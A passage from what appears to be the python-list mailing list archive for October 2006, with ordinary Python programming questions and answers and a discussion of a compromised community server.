	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1439.1160128583.10491.python-list@python.org>
	<slrneicbd7.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1449.1160131361.10491.python-list@python.org>
	<slrneicdjt.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <egl1sr$d1s$1@wake.carmen.se>

Antoon Pardon wrote:
> Well maybe he didn't intend that, but how is the reader of the
> documentation to know that? The reader can only go by how
> things are documented. If those are not entirely consistent
> with the intend of the programmer, that is not the readers
> fault.

I don't think I ever assumed that it was right to call functions
with keyword arguments if they weren't defined with keyword
parameters, but when I read 4.7.2 of the tutorial, I can see that
it's stated through an example that this is a correct thing to do.
I suppose the tutorial (and maybe the language reference) should
be corrected if this isn't supposed to be guaranteed behavior.

It seems like a bad idea to have different calling semantics
depending on whether a callable is implemented in C or Python.
Even if non-keyword parameters in Python implemented callables,
*can* be called with keyword arguments, it seems like a bad
idea to encourage that use. Perhaps it would be a good idea
to deprecate that possibility and remove it in Python 3.0?

I think it's better to force some calls into using f(*a, **kw)
instead of f(**kw) if it decreases the risk that reimplementing
functions in C in an API will break client code. Sure, it's
simple to make a Python wrapper, but if you're after raw speed,
you might not want to do that.

The main downside to removing the possibility of calling non
keyword parameters with keyword arguments might be that using
keyword arguments could fill a documentation purpose in the
code, e.g. x=get(host=arg[0], port=arg[1], path=arg[2]) would
be clearer than x=get(arg[0], arg[1], arg[2]). Of course,
host, port, path = arg; x=get(host, port, path) is even better
(if s/;/\n) but in some cases, it's better to be able to
inline things.


From pandyacus.xspam at xspam.sbcglobal.net  Sat Oct 28 10:06:00 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Sat, 28 Oct 2006 14:06:00 GMT
Subject: using mmap on large (> 2 Gig) files
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<453D4BC4.9080100@v.loewis.de>
	<1161649124.962144.127140@e3g2000cwe.googlegroups.com>
	<453E4D95.7080204@v.loewis.de>
	<1162006782.482595.244560@e3g2000cwe.googlegroups.com>
Message-ID: <87wt6k1qn8.fsf@nandi.2wire.net>

"nnorwitz at gmail.com" <nnorwitz at gmail.com> writes:

> Martin v. L?wis wrote:
> > sturlamolden schrieb:
> >
> > > And why doesn't Python's mmap take an offset argument to handle large
> > > files?
> >
> > I don't know exactly; the most likely reason is that nobody has
> > contributed code to make it support that. That's, in turn, probably
> > because nobody had the problem yet, or nobody of those who did
> > cared enough to implement and contribute a patch.
> 
> Or because no one cared enough to test a patch that was produced 2.5
> years ago (not directed at Martin, just pointing out why the patch
> stalled).
> 
>   http://python.org/sf/708374
> 
> With just a little community support, this can go in.  I suppose now
> that we have the buildbots, we can check in untested code and test it
> that way.  The patch should be reviewed.
> 
> n
I made the changes before I saw this. However, the patch seems to be quite
dated and some of the changes are very interesting, especially if they were
tested for the special conditions they are supposed to handle and 
if they were made after some discussion. 
I can submit my patch as it is, but I am working on making some of the other
changes I had in mind for the mmap to be useful.
Some of the other changes would make more sense for py3k, if it supports a byte
array object, but I haven't looked at py3k at all.

Chetan


From kgrafals at gmail.com  Mon Oct 16 15:12:43 2006
From: kgrafals at gmail.com (kgrafals at gmail.com)
Date: 16 Oct 2006 12:12:43 -0700
Subject: urllib.urlopen: Errno socket error
In-Reply-To: <1161023474.872714.138630@f16g2000cwb.googlegroups.com>
References: <1161022115.983554.76140@h48g2000cwc.googlegroups.com>
	<1161023474.872714.138630@f16g2000cwb.googlegroups.com>
Message-ID: <1161025963.491407.14650@h48g2000cwc.googlegroups.com>

Hi Salvatore,

Even if I catch the exceptions in a loop it goes on forever.

- ken



From http  Sun Oct  1 11:54:01 2006
From: http (Paul Rubin)
Date: 01 Oct 2006 08:54:01 -0700
Subject: Generating unique row ID ints.
References: <1159717051.819475.215270@i42g2000cwa.googlegroups.com>
Message-ID: <7xu02oav6u.fsf@ruckus.brouhaha.com>

"Simon Wittber" <simonwittber at gmail.com> writes:
> Some of the tables require single integer primary keys which might be
> exposed in some parts of the web interface. If users can guess the next
> key in a sequence, it might be possible for them to 'game' or
> manipulate the system in unexpected ways. I want to avoid this by
> generating a random key for each row ID, and have decided to use the
> same approach for all my single key tables.

Normally primary keys are sequential but only live inside the system.
Users are not supposed to enter them.

> If the random module is suitable, does anyone have any good ideas on
> how this could be implemented?

The random module does not aim to be secure against knowledgeable
attackers trying to guess the output (i.e. it's not cryptographic
randomness).  Use os.urandom instead.

> I've got my own ideas for implementing this, but am interested to see
> how/if anyone else has tackled the same problem.

The simplest thing to do is generate random strings, e.g.

   key = os.urandom(16)

for a 16-byte binary string.  You can of course encode it as printing
characters with your favorite binascii function.  16-byte strings like
that should be unguessable and collision-free until you have an
enormous number of them (on the order of 2**64).


From onurb at xiludom.gro  Mon Oct 30 05:11:09 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 30 Oct 2006 11:11:09 +0100
Subject: Import if condition is correct
In-Reply-To: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>
References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>
Message-ID: <4545cfbe$0$11343$426a74cc@news.free.fr>

MindClass wrote:
> Is possible import a library according to a condition?
> 
> if Foo = True:
>     import bar
> 
Did you even try ? Would have been faster than posting here...

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From bruce.who.hk at gmail.com  Mon Oct  9 06:41:00 2006
From: bruce.who.hk at gmail.com (bruce.who.hk)
Date: Mon, 9 Oct 2006 18:41:00 +0800
Subject: why this is wrong?
Message-ID: <200610091840577967380@gmail.com>

Hi, all

I just donnot know why this is wrong, you can test it in python shell:

class B:
    def __str__(self):
        return u'\u5929\u4e0b'
    
b=B()
str(b)
Traceback (most recent call last):
  File "<input>", line 1, in ?
UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128)

Could anybody point me out?
 				
--------------
bruce.who.hk
2006-10-09



From gherzig at fmed.uba.ar  Fri Oct 20 08:27:10 2006
From: gherzig at fmed.uba.ar (Gerardo Herzig)
Date: Fri, 20 Oct 2006 09:27:10 -0300
Subject: list comprehension (searching for onliners)
Message-ID: <4538C09E.2040408@fmed.uba.ar>

Hi all: I have this list thing as a result of a db.query: (short version)
result = [{'service_id' : 1, 'value': 10},
                {'service_id': 2, 'value': 5},
                {'service_id': 1, 'value': 15},
                {'service_id': 2, 'value': 15},
             ]

and so on...what i need to do is some list comprehension that returns me 
something like

result = [
                {
                    'service_id' : 1, 'values': [ {'value': 10}, 
{'value': 15}]
                 },
                {
              'service_id' : 2, 'values': [ {'value': 5}, {'value': 15}]
                }
               

My problem now is i cant avoid have "repeteated" entries, lets say, in 
this particular case, 2 entries for "service_id = 1", and other 2 for 
"service_id =2".
Ill keeping blew off my hair and drinking more cofee while searching for 
this damn onliner im looking for.

Thanks dudes.
Gerardo


From orangestripe at gmail.com  Tue Oct 17 23:18:40 2006
From: orangestripe at gmail.com (gel)
Date: 17 Oct 2006 20:18:40 -0700
Subject: I would like write some data recovery software
Message-ID: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>

I would like to write some data recovery software as a learning thing.
The sort of thing that you would use to recover data from a currupt HDD
or floppy etc.  I would like to be pointed in the right direction as
far as modules to use and suggested approaches.



From john106henry at hotmail.com  Wed Oct 25 20:18:33 2006
From: john106henry at hotmail.com (John Henry)
Date: 25 Oct 2006 17:18:33 -0700
Subject: Dealing with multiple sets
In-Reply-To: <mailman.1222.1161821766.11739.python-list@python.org>
References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>
	<mailman.1222.1161821766.11739.python-list@python.org>
Message-ID: <1161821913.252725.324340@i42g2000cwa.googlegroups.com>

Aye!

I did a:

a and b and c

Bonk!

Thanks,


Tim Peters wrote:
> [John Henry]
> > If I have a bunch of sets:
> >
> > a = set((1, 2, 3))
> > b = set((2, 3))
> > c = set((1, 3))
> > ....
> >
> > What's the cleanest way to say:
> >
> > 1) Give me a list of the items that are in all of the sets? (3 in the
> > above example)
>
> list(a & b & c)
>
> > 2) Give me a list of the items that are not in all of the sets? (1,2 in
> > the above example)
> 
> list((a | b | c) - (a & b & c))



From fredrik at pythonware.com  Wed Oct 11 09:21:17 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 15:21:17 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><eghai4$615$1@online.de><1160562945.079609.98640@m7g2000cwm.googlegroups.com><mailman.308.1160564020.11739.python-list@python.org>
	<1160570340.981862.212380@c28g2000cwb.googlegroups.com>
Message-ID: <egir4d$fu0$1@sea.gmane.org>

Paul Boddie wrote:

>> Aw, come on.  The Python web programming standardisation wars are over, for now.
>
> Well, that's just another way of saying that the scene remains
> stagnant, because I don't see any winners.

one, two, overflow ?  or are you saying that the lack of a monopoly means
market stagnation, no matter how innovative the three big ones are ?

> For a long time people expected to get this coherent message by looking for
> solutions provided with the Python distribution itself - after all, the standard
> library has provided other useful "batteries" over the years - but all
> we had was the cgi module and some barely maintained servers. Indeed,
> the standard library looks pretty incoherent itself these days.

the standard library has never included non-trivial applications (and the three big
ones are configurable applications, not libraries).  I'm not sure anyone has ever
looked to the standard library for domain-specific applications or toolkits.

> The thing is that people want a coherent message about Python and Web
> programming.

the message is out there, for anyone who wants to listen.  and they are listening.

> why else do people still ask CGI-related questions on comp.lang.python?

because CGI works well for simple applications where you don't want to waste
any time whatsoever on hosting and deployment issues ?  heck, I spent parts of
last weekend hacking on a light-weight CGI-based publishing system for portions
of the effbot.org site, using Python 2.2 on Solaris.  loads of fun.

>> (as for WSGI, it's plumbing. You can of course build fun things from spare parts and
>> plumbing, and there are really interesting things going on in certain research labs, as
>> usual, but if you want turn-key stuff, pick one of the big three.)
>
> After seeing WSGI being elevated to non-plumbing (since plumbing is
> just stuff that helps other stuff to work, not something you mess with
> on a daily basis), I think the current strategy with respect to
> "floating more boats" is to pretend that WSGI is all you need.

I've never seen anyone besides Ian Bicking make that argument (and he's using
WSGI plus a zillion ready-made building blocks when doing that).

</F> 





From gagsl-py at yahoo.com.ar  Thu Oct 19 23:16:39 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 00:16:39 -0300
Subject: Restricting import file lookup for pyd, dll, ...
In-Reply-To: <61d0e2b40610191919j571fde44nf742057486b30daf@mail.gmail.co
 m>
References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>
	<7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>
	<61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com>
	<7.0.1.0.0.20061019224508.04d95958@yahoo.com.ar>
	<61d0e2b40610191919j571fde44nf742057486b30daf@mail.gmail.com>
Message-ID: <7.0.1.0.0.20061019235232.052fcf98@yahoo.com.ar>

At Thursday 19/10/2006 23:19, Bernard Lebel wrote:

>I'm affraid this step has already been done. I was not being pedantic
>when I said "locations that don't make sense", I *really* meant it.
>You would have to see the Filemon log!

Python searches modules along the directories in sys.path - if you 
see it looking at w:\foo\bar\baz I bet that such directory is 
included there. Well, it might not be a directory but a zip file, or 
you might have installed some import hooks (have you?) but on the 
most common cases, a simple scan along sys.path is performed.

>Anyway, then is there a way to tell Python not to look for pyd/dll and
>others in certain locations? In locations were you expect not to have
>such files for example?

I'm not really sure, but I don't think it could be done.
The OS does a similar scan when looking for needed libraries at 
program startup. Are you sure that *this* behavior is what causes 
your slow startup? What OS/filesystem are you using? Are you loading 
your application across the network, using a file share, samba or 
something like that?


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From snaury at gmail.com  Sat Oct 14 19:05:01 2006
From: snaury at gmail.com (Alexey Borzenkov)
Date: 14 Oct 2006 16:05:01 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
In-Reply-To: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
Message-ID: <1160867101.267052.113280@h48g2000cwc.googlegroups.com>

brenocon at gmail.com wrote:
> Compared to the Python I know and love, Ruby isn't quite the same.
> However, it has at least one terrific feature: "blocks".

Well, I particularly like how Boo (http://boo.codehaus.org) has done
it:

  func(a, b, c) def(p1, p2, p3):
    stmts

I was so attached to these "nameless" def-forms that I was even shocked
when I found that this doesn't work in python:

  f = def(a, b):
    return a*b

Another good feature of Boo, btw.



From vbgunz at gmail.com  Mon Oct  2 14:35:45 2006
From: vbgunz at gmail.com (vbgunz)
Date: 2 Oct 2006 11:35:45 -0700
Subject: How to coerce a list of vars into a new type?
In-Reply-To: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
References: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
Message-ID: <1159814145.906314.244820@k70g2000cwa.googlegroups.com>

> I want to verify that three parameters can all be converted into
> integers, but I don't want to modify the parameters themselves.

You can twist and tweak this version OR completely redo it. In this
version a list of the conversions are returned *but* if you want to
only check if such a conversion can be made, you can return a bool
result instead of the list. Also integers are converted to floats. just
wrap the float() in an int() if you only want ints instead and wrap
again with round() or mix and do as you please to get the results you
want.


def convertToInteger(*args):
  ''' try to convert arguments to integers and return them in a list'''

  try:
    return [float(x) for x in (args)]
  except ValueError:
    print 'convertToInteger: pass compatible args OR return a default!'
    return


funcResult = convertToInteger('1', '2', '3')
if funcResult:  # if conversion was perfect, choose to do what you want
  # ...
  a, b, c = funcResult  # change global variables!
  x, y, z = funcResult  # create three new variables!
  print a, b, c
  print x, y, z
  # ...



From richardjones at optushome.com.au  Tue Oct  3 23:57:16 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Wed, 04 Oct 2006 13:57:16 +1000
Subject: Roundup Issue Tracker release 1.1.3
References: <mailman.1219.1159933673.10491.python-list@python.org>
Message-ID: <4523311c$0$32603$afc38c87@news.optusnet.com.au>

Richard Jones wrote:
> I'm proud to release version 1.1.3 of Roundup.

That's supposed to say 1.2.0. Sigh.



From bearophileHUGS at lycos.com  Fri Oct  6 12:37:58 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 6 Oct 2006 09:37:58 -0700
Subject: extract certain values from file with re
In-Reply-To: <mailman.1438.1160128294.10491.python-list@python.org>
References: <mailman.1438.1160128294.10491.python-list@python.org>
Message-ID: <1160152678.815604.289070@e3g2000cwe.googlegroups.com>

Fabian Braennstroem:
> A more difficult log file looks like:
> ...
> With my sed/awk/grep/gnuplot script I would extract the
> values in the 'U-Mom' row using grep and print a certain
> column (e.g. 'Max Res') to a file and print it with gnuplot.
> Maybe I have to remove those '|' using sed before...

This is possible (quite raw) solution for the second log using string
methods only:

data = """
======================================================================
 OUTER LOOP ITERATION =    1                     CPU SECONDS = 2.40E+01
 ----------------------------------------------------------------------
 |       Equation       | Rate | RMS Res | Max Res |  Linear Solution |
 +----------------------+------+---------+---------+------------------+
 | U-Mom                | 0.00 | 1.0E-02 | 5.0E-01 |       4.9E-03  OK|
 | V-Mom                | 0.00 | 2.4E-14 | 5.6E-13 |       3.8E+09  ok|
 | W-Mom                | 0.00 | 2.5E-14 | 8.2E-13 |       8.3E+09  ok|
 | P-Mass               | 0.00 | 1.1E-02 | 3.4E-01 |  8.9  2.7E-02  OK|
 +----------------------+------+---------+---------+------------------+
 | K-TurbKE             | 0.00 | 1.8E+00 | 1.8E+00 |  5.8  2.2E-08  OK|
 | E-Diss.K             | 0.00 | 1.9E+00 | 2.0E+00 | 12.4  2.2E-08  OK|
 +----------------------+------+---------+---------+------------------+

 ======================================================================
 OUTER LOOP ITERATION =    2                     CPU SECONDS = 8.57E+01
 ----------------------------------------------------------------------
 |       Equation       | Rate | RMS Res | Max Res |  Linear Solution |
 +----------------------+------+---------+---------+------------------+
 | U-Mom                | 1.44 | 1.5E-02 | 5.3E-01 |       9.6E-03  OK|
 | V-Mom                |99.99 | 1.1E-03 | 6.2E-02 |       5.7E-02  OK|
 | W-Mom                |99.99 | 1.9E-03 | 6.0E-02 |       5.9E-02  OK|
 | P-Mass               | 0.27 | 3.0E-03 | 2.0E-01 |  8.9  7.9E-02  OK|
 +----------------------+------+---------+---------+------------------+
 | K-TurbKE             | 0.03 | 5.4E-02 | 4.4E-01 |  5.8  2.9E-08  OK|
 | E-Diss.K             | 0.05 | 8.9E-02 | 9.3E-01 | 12.4  2.6E-08  OK|
 +----------------------+------+---------+---------+------------------+
 """.splitlines()

print [float(l.split("|")[4]) for l in data if 'U-Mom' in l]

Output:
[0.5, 0.53000000000000003]

Bye,
bearophile



From rurpy at yahoo.com  Mon Oct 16 13:39:25 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 16 Oct 2006 10:39:25 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <1160993757.780911.37610@b28g2000cwb.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<1160993757.780911.37610@b28g2000cwb.googlegroups.com>
Message-ID: <1161020365.264307.24100@i3g2000cwc.googlegroups.com>


micahel at gmail.com wrote:
> rurpy at yahoo.com wrote:

--snip--

> As far as I can tell, the machine was compromised on 2006-09-02.

So it was compromised for over a month.

> Irritatingly we didn't find out until just after logrotate had deleted
> the logs for around the time of the attack.

Murphy strikes again. :-(

> It wasn't a very subtle rootkit -- installing a version of netstat with
> different command line options, for example...
>
> > 5. Verifying that such a thing has not happened can be very
> > difficult, particularly if the date and other details of the
> > compromise cannot be accurately determined.
>
> I guess you should find out from the author of whatever you downloaded
> what the checksums should have been for what you downloaded and check
> that against what you downloaded.
>
> If you don't still have the downloaded files, I can tell you what the
> md5's of the files in the back up are.

I don't think that would help in the case of Pywin32 since the
Sourceforge dates for build 210 are 9/22.
I emailed Mark Hammond but have not heard anything back yet.

> > 6. Many organisations give image and pr a higher priority
> > than the safety of their customers/users and wave off security
> > breechs with "don't worry, everything is fine.  We're sure
> > nothing has been touched" when in fact they have no idea.
>
> There is no organization behind python.net.
>
> I am a volunteer.  I help run python.net in my spare time.

Organizations do not have to be formal or official to exhibit
similar behavior.

> > 7. I have seen no public statements or information about
> > this leading me to wonder about the stuation and how it's
> > being handled, hence my seeking of further information.
>
> I'm sorry, I'm busy trying to get the server going again.

I understand, and appreciate your (and the other people
involved) efforts.  I know it must be a royal pain in the
ass.  But I am still responsible for the code I (and my
clients) run so I had to ask.

> > But, I am still completely at a loss why you, he, or anyone,
> > based on the information presented so far,.would conclude
> > that the python security problem is unrelated.
>
> Why would it be?  For all it's position in the community, there aren't
> actually many python web apps running on python.net, certainly not as
> root...

That's what one would hope but to assume that without better
information (such as you just provided) would be foolish.

Thanks again for taking the time to answer my questions.



From fredrik at pythonware.com  Tue Oct 10 10:35:59 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 16:35:59 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net><UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net><1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net><mailman.207.1160485945.11739.python-list@python.org>
	<O6OWg.7467$Y24.4628@newsread4.news.pas.earthlink.net>
Message-ID: <eggb4f$bal$1@sea.gmane.org>

"Edward Diener No Spam" wrote:

>> if you want better support for more precise hooking, post some examples.
>
> I want a design-time environment to hook up my objects in a visual way.
> I think it is easier than doing it manually, even in Python.

what objects?  what hooks?  visually, in what way?

>>> All you are saying is that you don't have a need for this, but perhaps others do.
>>
>> handwavy references to what "other may need" is another thing you should
>> avoid if you want your Python change proposal to be successful.
>
> I did not say what "others may need".

I'm not sure I see the big difference between "perhaps others do [have a need]"
and "others may need", but that's me.

</F> 





From fredrik at pythonware.com  Mon Oct  9 06:54:47 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 12:54:47 +0200
Subject: why this is wrong?
References: <200610091840577967380@gmail.com>
Message-ID: <egd9pn$7ji$1@sea.gmane.org>

bruce.who.hk wrote:

> I just donnot know why this is wrong

btw, you really should try to use more descriptive subject lines.  for some
tips, see:

    http://catb.org/~esr/faqs/smart-questions.html#bespecific

most notably:

    "... imagine looking at the index of an archive of questions, with just the
    subject lines showing. Make your subject line reflect your question well
    enough that the next guy searching the archive with a question similar to
    yours will be able to follow the thread to an answer rather than posting
    the question again."

</F> 





From smcg4191zz at friizz.RimoovAllZZs.com  Tue Oct 10 19:02:45 2006
From: smcg4191zz at friizz.RimoovAllZZs.com (Stuart McGraw)
Date: Tue, 10 Oct 2006 17:02:45 -0600
Subject: does raw_input() return unicode?
References: <12iln7en9ipit77@corp.supernews.com>
	<452b5190$0$29833$9b622d9e@news.freenet.de>
Message-ID: <12io9l2ia3h98e8@corp.supernews.com>


"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:452b5190$0$29833$9b622d9e at news.freenet.de...
> Stuart McGraw schrieb:
> > So, does raw_input() ever return unicode objects and if
> > so, under what conditions?
>
> At the moment, it only returns unicode objects when invoked
> in the IDLE shell, and only if the character entered cannot
> be represented in the locale's charset.

Thanks for the answer.

Also, if anyone has a solution for Duncan Booth's attempt
to wrap stdin, I would find it very useful too!

"Duncan Booth" <duncan.booth at invalid.invalid> wrote:
> "Stuart McGraw" <smcg4191zz at friizz.RimoovAllZZs.com> wrote:
>
> > So, does raw_input() ever return unicode objects and if
> > so, under what conditions?
> >
> It returns unicode if reading from sys.stdin returns unicode.
>
> Unfortunately, I can't tell you how to make sys.stdin return unicode for
> use with raw_input. I tried what I thought should work and as you can see
> it messed up the buffering on stdin. Does anyone else know how to wrap
> sys.stdin so it returns unicode but is still unbuffered?
>
> Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)]
> on win32
> Type "help", "copyright", "credits" or "license" for more information.
> >>> import sys, codecs
> >>> sys.stdin.encoding
> 'cp437'
> >>> sys.stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin)
> >>> raw_input()
> hello world
> still going?
> ^Z
> ^Z
> u'hello world'
> >>>



From chtaylo3 at gmail.com  Wed Oct 18 10:42:44 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Wed, 18 Oct 2006 10:42:44 -0400
Subject: Python RPM package arch compatability
In-Reply-To: <eh5e5n$hf4$1@sea.gmane.org>
References: <2590773a0610180721l7fdd7688i5d67b3c16201f44a@mail.gmail.com>
	<eh5e5n$hf4$1@sea.gmane.org>
Message-ID: <2590773a0610180742k262f8b5cqd21cd9124a14624c@mail.gmail.com>

So just build it from source and use make altinstall instead?  That simple huh?

Will I need to do anything else to make sure things are put in their
correct place?

Respectfully,
Christopher Taylor

On 10/18/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Christopher Taylor wrote:
>
> > A quick question if I may.  I'm running RHEL 4 on a x86_64 and I'm
> > curious if any of the packages at
> > http://www.python.org/download/releases/2.4/rpms/ would suite my
> > setup.
> >
> > If they don't can I simply build from source and not overwrite
> > /usr/bin/Python (for the same reasons as listed at the above mentioned
> > webpage)?
>
> if you use "make altinstall" instead of "make install", the installation process will
> only install a pythonX.Y binary (e.g. python2.5).
>
> </F>
>
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From Roberto.Bonvallet at cern.ch  Wed Oct 18 08:59:47 2006
From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet)
Date: Wed, 18 Oct 2006 12:59:47 +0000 (UTC)
Subject: matrix Multiplication
References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com>
Message-ID: <eh58g3$i0t$1@cernne03.cern.ch>

Sssasss wrote:
> hi evrybody!
> 
> I wan't to multiply two square matrixes, and i don't understand why it
> doesn't work.
> Could you explain me?
> 
> def multmat(A,B):
>    "A*B"
>    if len(A)!=len(B): return "error"

Wrong validation here:  you _can_ multiply two matrices with a different
number of rows!  And instead of returning "error" you should raise an
exception.

[...]

I suggest using a linear algebra package, but if you insist in using lists
of lists:

>>> b = [[1, 2, 3,  4],
...      [4, 5, 6,  7],
...      [7, 8, 9, 10]]
>>> 
>>> a = [[1, 2, 3],
...      [4, 5, 6]]
>>> 
>>> ab = [[sum(i*j for i, j in zip(row, col)) for col in zip(*b)] for row in a]
>>> ab
[[30, 36, 42, 48], [66, 81, 96, 111]]

Straightforward from the definition of matrix multiplication.
-- 
Roberto Bonvallet


From johnjsal at NOSPAMgmail.com  Wed Oct  4 22:36:10 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 22:36:10 -0400
Subject: can't open chm files all of a sudden
In-Reply-To: <1159951350.208619.222470@m73g2000cwd.googlegroups.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
Message-ID: <45247002$0$14726$c3e8da3@news.astraweb.com>

John Machin wrote:

> 4. Have you done a full virus and spy-ware scan? Do you regularly
> install Windows updates from Microsoft?

Well, this is certainly the last thing I expected to work, but it did! 
There was something called an IECache cookie (which I've actually had 
before) and after removing it my chm files open now! Thanks for 
suggesting this! I was desperate! :)


From nogradi at gmail.com  Mon Oct  9 17:14:47 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Mon, 9 Oct 2006 23:14:47 +0200
Subject: Python component model
In-Reply-To: <1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<452AA71E.1010000@hotmail.com>
	<1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net>
Message-ID: <5f56302b0610091414l31a125e3u58a63f1ff8c1778f@mail.gmail.com>

> > Why not propose something. That is the easiest way to get things moving.
>
> How does one do that ? Propose something here on this NG or is there
> some other official way ?


I'm by no means an expert here but the usual procedure as far as I can
see is this:

1. propose something here and get people excited so that they discuss
it inside out
2. taking into account the discussion formulate a new/modified proposal
3. more discussion follows most probably
4. a more formal proposal can be sent to python-dev
5. more discusssion there
6. the result of all these discussions can be that people encourage
you to write a PEP, this is probably the most important stage, please
see http://www.python.org/dev/peps/ and
http://www.python.org/dev/peps/pep-0001/
7. once you are successful in writing a PEP just submit it and wait
for acceptance/rejection


HTH,
Daniel


From bj_666 at gmx.net  Wed Oct 18 18:47:10 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Thu, 19 Oct 2006 00:47:10 +0200
Subject: Getting method name from within the class method
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<mailman.722.1161208770.11739.python-list@python.org>
Message-ID: <pan.2006.10.18.22.47.09.306601@gmx.net>

In <mailman.722.1161208770.11739.python-list at python.org>, Mitko Haralanov
wrote:

> On 18 Oct 2006 14:38:12 -0700
> yellowalienbaby at gmail.com wrote:
> 
>> >>> class test(object):  
>> ...  def a_method(self,this,that):
>> ...   print self.a_method.__name__
> 
> Doing the above will obviously work!
> 
> However, I don't want to have to use the name of the function in the
> print statement (the ".a_method." part). Imagine having about 100 of
> the above print statements in the function and then you change the name
> of the function. I want all 100 of the print statements to work without
> having to change every one of them to reflect the new function name.

class test(object):
    def a_method(self, this, that):
        NAME = 'a_method'
        print NAME
        # ...
        print NAME
        # ...

And please don't come back and complain that you have to type and probably
change 'a_method' twice instead of once.  ;-)

Ciao,
	Marc 'BlackJack' Rintsch


From bertle at smoerz.org  Fri Oct  6 05:13:36 2006
From: bertle at smoerz.org (Roman Bertle)
Date: 06 Oct 2006 09:13:36 GMT
Subject: groupby and itemgetter
Message-ID: <slrneic7i0.5ci.bertle@rob.kph.tuwien.ac.at>

Hello,

there is an example how to use groupby in the itertools documentation
(http://docs.python.org/lib/itertools-example.html):

# Show a dictionary sorted and grouped by value
>>> from operator import itemgetter
>>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3)
>>> di = sorted(d.iteritems(), key=itemgetter(1))
>>> for k, g in groupby(di, key=itemgetter(1)):
...     print k, map(itemgetter(0), g)
...
1 ['a', 'c', 'e']
2 ['b', 'd', 'f']
3 ['g']

Now i wonder why itemgetter is used in this example. More
straightforward is:

>>> d = dict(a=1, b=2, c=1, d=2, e=1, f=2, g=3)
>>> di = sorted(d.iterkeys(), key=d.get)
>>> for k, g in groupby(di, key=d.get):
...     print k, list(g)
...
1 ['a', 'c', 'e']
2 ['b', 'd', 'f']
3 ['g']

This code does not need the operator module, and its also faster (tested
using timeit). Why was the, imho, more complicated version used as
example in the documentation?

Regards, Roman


From srikrishnamohan at gmail.com  Sun Oct  8 14:40:40 2006
From: srikrishnamohan at gmail.com (km)
Date: Mon, 9 Oct 2006 00:10:40 +0530
Subject: references and buffer()
Message-ID: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>

Hi all,

